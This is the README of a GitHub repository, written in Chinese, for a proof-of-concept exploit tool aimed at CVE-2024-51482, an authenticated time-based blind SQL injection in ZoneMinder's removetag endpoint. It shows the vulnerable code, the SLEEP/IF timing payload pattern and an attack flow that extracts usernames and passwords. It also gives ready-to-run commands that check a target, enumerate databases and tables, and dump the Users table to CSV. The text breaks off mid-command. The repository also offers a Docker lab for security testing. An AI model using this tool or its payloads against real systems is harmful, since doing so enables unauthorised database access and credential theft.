0xDaeras/CVE-2024-51482-POC
GitHub: 0xDaeras/CVE-2024-51482-POC
针对 ZoneMinder CVE-2024-51482 时间盲注 SQL 注入漏洞的 PoC 利用工具,附带可复现的 Docker 实验环境和自动化数据提取功能。
Stars: 5 | Forks: 0
# ZoneMinder 认证后时间盲注 SQLi PoC - CVE-2024-51482



## 目录
- [ZoneMinder 认证后时间盲注 SQLi PoC - CVE-2024-51482](#zoneminder-authenticated-time-based-sqli-poc---cve-2024-51482)
- [目录](#table-of-contents)
- [概述](#overview)
- [漏洞详情](#vulnerability-details)
- [CVE-2024-51482 — 基于时间的盲注 SQL Injection](#cve-2024-51482--time-based-blind-sql-injection)
- [根本原因](#root-cause)
- [攻击流程](#attack-flow)
- [仓库结构](#repository-structure)
- [系统要求](#requirements)
- [安装说明](#installation)
- [PoC](#poc)
- [Docker 实验环境](#docker-lab)
- [用法](#usage)
- [默认行为](#default-behavior)
- [帮助界面](#help-screen)
- [命令](#commands)
- [输出选项](#output-options)
- [标志参考](#flags-reference)
- [完整示例](#full-example)
- [注意事项](#notes)
- [Docker 实验环境](#docker-lab-1)
- [输出示例](#example-output)
- [修复方案](#remediation)
- [针对此 CVE 的修复](#against-this-cve)
- [针对类似漏洞的修复](#against-similar-vulnerabilities)
- [披露时间线](#disclosure-timeline)
- [参考](#references)
## 概述
本仓库包含一个针对 ZoneMinder 的基于时间的 SQL 注入 PoC。
该工具支持:
- 漏洞验证
- 数据库枚举
- 表和列发现
- 完整数据表导出
- 导出为 CSV
它还包含一个完全可复现的 Docker 实验环境,用于安全测试。
## 漏洞详情
### CVE-2024-51482 — 基于时间的盲注 SQL Injection
- **CVE ID**: CVE-2024-51482
- **CVSS v3.1 评分**: 10.0 (严重)
- **漏洞类型**: 基于时间的盲注 SQL Injection
- **受影响版本**: ZoneMinder v1.37.* <= 1.37.64
- **攻击向量**: 认证后端点
- **影响**: 数据库完全泄露,数据完整性受损
- **需要认证**: 是 (低权限用户即可)
### 根本原因
ZoneMinder 是一款免费、开源的闭路电视软件应用。该漏洞源于 ZoneMinder 的 `removetag` 端点中存在输入验证不足的问题。用户提供的输入被直接合并到 SQL 查询中,没有经过适当的清理或参数化,从而允许攻击者注入恶意的基于布尔的 SQL 载荷。该漏洞利用:
```
SLEEP(x - IF(condition, 0, x))
```
通过响应时间来推断数据。
来自 [Github 维护者安全通告](https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-qm8h-3xvf-m7j3) 的完整漏洞代码片段:
```
case 'removetag' :
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
if ($rowCount < 1) {
$sql = 'DELETE FROM Tags WHERE Id = ?';
$values = array($_REQUEST['tid']);
$response = dbNumRows($sql, $values);
ajaxResponse(array('response'=>$response));
}
```
### 攻击流程
```
Attacker ZoneMinder Web App
│ │
│ [Auth] │
│ POST /zm/index.php │
│ {username, password} │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 200 OK + Set-Cookie: ZMSESSID=... │ ← authenticated session
│ │
│ [CVE-2024-51482] │
│ GET /zm/index.php │
│ ?view=request&request=event │
│ &action=removetag&tid= │
│────────────────────────────────────────►│
│ SQL boolean query executed
│ IF(condition, no delay, SLEEP)
│◄────────────────────────────────────────│
│ Delayed response (timing oracle) │ ← condition inferred
│ │
│ Repeat requests │
│ ASCII(SUBSTRING(query,pos,1)) │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Timing differences reveal characters │
│ │
│ Binary search per character │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Extracted data (1 char at a time) │
│ │
│ SELECT Username, Password FROM Users │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Full database disclosure │
│ │
✓ Complete data exfiltration via blind SQLi
```
## 仓库结构
```
CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│ ├── Dockerfile
│ └── entrypoint.sh
└── logs/
```
## 系统要求
- Python 3.8+
- requests
- Docker 和 docker-compose (用于实验环境)
## 安装说明
### PoC
```
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt
```
### Docker 实验环境
```
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # Configure environment variables
docker compose up -d
```
## 用法
### 默认行为
在未指定任何标志的情况下,该工具将对目标进行身份验证,检查其是否存在漏洞,如果存在漏洞,则从 `zm.Users` 表中导出 *ID*、*Username*、*Password*、*Name* 和 *Email* 列(`dump-users` 命令)。
```
python exploit.py -t http://target/zm -u -p
```
### 帮助界面
```
python exploit.py -h
```
### 命令
#### check
仅检查目标是否存在漏洞。
```
python exploit.py -t http://target/zm -u -p check
```
#### dump-users
从 `zm.Users` 表中导出 *ID*、*Username*、*Password*、*Name* 和 *Email* 列。如果未指定命令,则默认执行此命令。
```
python exploit.py -t http://target/zm -u -p dump-users
```
#### list-db
列出所有数据库。
```
python exploit.py -t http://target/zm -u -p list-db
```
#### list-tables
列出指定数据库中的表。
```
python exploit.py -t http://target/zm -u -p list-tables --db
```
#### list-columns
列出指定表中的列。
```
python exploit.py -t http://target/zm -u -p list-columns --db --table
```
#### dump-table
导出指定表中的所有数据。
```
python exploit.py -t http://target/zm -u